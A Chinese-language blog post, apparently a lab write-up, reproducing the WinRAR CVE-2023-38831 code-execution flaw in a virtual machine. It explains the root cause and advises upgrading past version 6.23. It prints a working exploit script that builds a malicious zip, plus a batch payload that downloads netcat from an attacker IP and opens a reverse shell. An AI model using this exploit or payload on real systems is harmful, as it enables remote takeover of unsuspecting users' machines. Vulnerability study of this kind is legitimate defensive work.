CVE-2023-38831 WinRAR代码执行漏洞复现

基本信息介绍

WinRAR是一款功能强大的Windows文件压缩和解压缩工具,支持高效的压缩算法、密码保护、分卷压缩、恢复记录等功能,同时提供图形和命令行界面,以及自解压缩功能,为用户提供便捷且安全的文件管理和传输工具。
WinRAR 的CVE-2023-38831 漏洞被在野利用来攻击交易类的个人用户。
漏洞类型:代码注入。
发现时间:2023 年。
漏洞等级:高危。
影响版本:WinRAR 版本 6.23 之前的版本。


https://www.secrss.com/articles/58122
(引自安全内参)


复现

先在win10虚拟机安装6.22版WinRAR。并准备一个正常文件,比如一张图片。
接着写一个bat文件,里面是要执行的命令,因为我这里测试的是反弹shell命令,所以我还下了一个windows的nc64.exe,放到kali上面,然后在nc的目录下python开一个服务器

在这里插入图片描述在这里插入图片描述

curl http://192.168.6.128:8880/nc64.exe -O nc64.exe & nc64.exe 192.168.6.128 4444 -e cmd.exe -d & test.png

然后利用公开的exp
make.py

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "poc.zip"

BAIT_NAME = "test.png"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\make.py poc
          python .\make.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

一共三个文件,加上kali的nc64.exe
在这里插入图片描述

执行python make.py test.png script.bat poc.zip生成恶意的压缩包
在这里插入图片描述
在这里插入图片描述

当用户用有该漏洞的WinRAR打开这个压缩包,并在预览界面点击图片时就会触发命令执行
现在在kali监听4444端口
在这里插入图片描述
双击poc.zip(因为我这默认压缩包软件已经是WinRAR了),点击正常图片文件。发现kali已经获得目标的shell

在这里插入图片描述

漏洞原理及触发条件

构造特殊文件:攻击者构造一个特殊的 zip 档案,其中包含一个良性文件(如普通的.jpg、.pdf 文件)和一个与良性文件同名的文件夹,文件夹内包含恶意的可执行文件,如批处理文件.cmd 等。
利用文件处理机制:当用户使用受影响的 WinRAR 版本打开这个 zip 档案,尝试访问其中的良性文件时,WinRAR 会调用 ShellExecute 函数匹配文件名。由于其处理机制存在缺陷,在匹配过程中,如果目标文件名与文件类型不匹配时,就会执行目标文件中的批处理文件,从而导致恶意代码被执行。
在正常情况下,ShellExecute 应该根据文件的完整路径和类型准确地打开目标文件。然而,受影响版本的 WinRAR 在处理这种特殊结构的压缩包时,其文件名匹配机制存在漏洞。当它在进行文件名匹配时,没有正确区分文件和同名文件夹,导致在某些情况下,即使本意是打开良性文件,却错误地匹配到了同名文件夹内的恶意可执行文件。

简单点说就是用WinRAR打开某个文件时,WinRAR会查找叫该文件名的所有文件,如果匹配到一个同名文件但该文件是个目录,就会进入那个目录查找文件。比如我要用WinRAR打开poc.zip里面的test.png,但是还有个叫test.png的目录也在同一个压缩包,WinRAR就会匹配到这个目录并进里面查找,刚好找到一个test.png .cmd(正常情况是无法创建的,但是exp用了某种方法创建),由于系统会忽略文件名空格后的东西,WinRAR就以为找到了目标图片,并打开,实际上执行的是批处理文件(.cmd)。

在这里插入图片描述

我C学得不是特别好,这个源码调试也不会,只能打一遍看看。搜到一篇源码调试的大佬文章https://www.cnblogs.com/GoodFish-/p/17715977.html,可以去看看。

防御方法

将WinRAR更新至6.23以上。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值